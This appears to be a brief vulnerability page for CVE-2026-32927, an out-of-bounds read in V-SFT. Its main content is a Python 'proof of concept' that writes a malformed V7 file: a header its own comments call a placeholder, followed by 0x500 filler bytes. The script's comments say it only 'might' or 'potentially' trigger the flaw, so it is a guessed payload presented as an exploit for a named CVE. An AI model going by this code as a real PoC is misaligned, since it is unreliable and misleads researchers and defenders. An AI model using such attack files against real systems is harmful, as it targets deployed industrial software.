CVE-2026-32927 V-SFT越界读取漏洞

# Proof of Concept for CVE-2026-32927 # This script demonstrates how to create a malformed V7 file # intended to trigger the out-of-bounds read vulnerability. import struct def create_malicious_v7(filename): # Simulate a V7 file header (placeholder) header = b"V7_FILE_FORMAT" # Craft a payload that might confuse the parser in set_temp_type_default # Adjusting size to potentially hit boundary checks payload = b"\x41" * 0x500 try: with open(filename, "wb") as f: f.write(header + payload) print(f"[+] Malicious file {filename} created.") except IOError as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": create_malicious_v7("cve_2026_32927_poc.v7")